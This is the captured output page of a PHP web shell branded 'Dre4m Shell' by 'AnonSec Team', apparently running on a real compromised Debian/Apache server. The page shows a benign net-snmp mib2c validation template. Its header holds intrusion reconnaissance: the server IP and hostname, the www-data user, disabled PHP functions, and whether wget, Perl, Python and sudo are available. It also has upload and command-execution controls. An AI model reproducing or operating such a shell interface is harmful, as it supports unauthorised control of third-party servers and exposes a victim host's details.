Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.141.201.92
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/usr/share/snmp/mib2c-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/usr/share/snmp/mib2c-data/node-validate.m2i
#############################################################  -*- c -*-
## generic include for XXX. Do not use directly.
##
##
## assumes an integer rc is available and will be tested by caller
##
########################################################################
@if $m2c_mark_boundary == 1@
/** START code generated by node-validate.m2i */
@end@
########################################################################
##----------------------------------------------------------------------
## setup
##----------------------------------------------------------------------
@if $node.enums == 1@
##------------------------------------------------------
@   if "$node.perltype" ne "BITS"@
    /* check that the value is one of defined enums */
    if( (SNMPERR_SUCCESS == rc)
@      foreach $e $v enum@
@         include m2c_setup_enum.m2i@
 && ( $m2c_nv_val != $m2c_ename )
@      end@ # for each
        ) {
        rc = SNMP_ERR_WRONGVALUE;
        }
##------------------------------------------------------
@   else@ # BITS
## {
    if($m2c_nv_len > 4) {
        DEBUGMSGTL(("${context}:${node}",
            "I can not handle BITS > 4 bytes\n"));
        rc = SNMP_ERR_GENERR;
    }
    else if (SNMPERR_SUCCESS == rc){
        u_long bits = 0;
        /* check that value is within enum mask */
        memcpy( &bits, $m2c_nv_str, $m2c_nv_len);
        bits = ntohl( bits );
        if( (bits | $m2c_enum_mask) != $m2c_enum_mask) {
            DEBUGMSGTL(("${context}:${node}",
                "bad bits set: bits = %x valid = %x", bits, $m2c_enum_mask));
            rc = SNMP_ERR_WRONGVALUE;
        }
    }
@   end@
##----------------------------------------------------------------------
## check RANGES
##----------------------------------------------------------------------
@elsif $node.ranges == 1@
@   if ("$node.decl" eq "long") || ("$node.decl" eq "u_long")@
@      eval $m2c_nv_rc = "SNMP_ERR_WRONGVALUE"@
@      eval $m2c_nv_tmp = "$m2c_nv_val"@
@   else@
@      eval $m2c_nv_rc = "SNMP_ERR_WRONGLENGTH"@
@      eval $m2c_nv_tmp = "$m2c_nv_len"@
@   end@
    /* check defined range(s). */
    if( (SNMPERR_SUCCESS == rc)
@      foreach $a $b range $node@
@         if $a == $b@
       && ($m2c_nv_tmp != $a)
@         else@
       && (($m2c_nv_tmp < $a) || ($m2c_nv_tmp > $b))
@         end@
@      end@
     ) {
        rc = $m2c_nv_rc;
    }
@end@
##
########################################################################
@if $m2c_mark_boundary == 1@
/** END code generated by node-validate.m2i */
@end@

Anon7 - 2022
AnonSec Team